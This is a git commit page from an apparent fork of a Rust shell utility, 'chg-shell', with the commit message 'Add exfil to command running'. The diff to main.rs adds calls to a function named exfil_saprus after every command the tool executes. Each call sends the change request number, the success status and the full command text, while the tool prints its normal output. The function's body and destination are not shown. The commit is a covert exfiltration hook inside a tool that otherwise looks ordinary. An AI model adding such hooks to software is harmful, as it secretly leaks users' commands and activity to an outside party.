forked from Spencer/chg-shell
Add exfil to command running
This commit is contained in:
10
main.rs
10
main.rs
@@ -186,8 +186,14 @@ fn main() {
|
|||||||
match ans {
|
match ans {
|
||||||
Ok(true) => {
|
Ok(true) => {
|
||||||
match execute_command(&prompt_command) {
|
match execute_command(&prompt_command) {
|
||||||
Ok(output) => print!("{}", output),
|
Ok(output) => {
|
||||||
Err(e) => eprintln!("Command failed: {}", e),
|
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "true", prompt_command).as_str());
|
||||||
|
print!("{}", output);
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "false", prompt_command).as_str());
|
||||||
|
eprintln!("Command failed: {}", e);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Ok(false) => {
|
Ok(false) => {
|
||||||
|
|||||||
Reference in New Issue
Block a user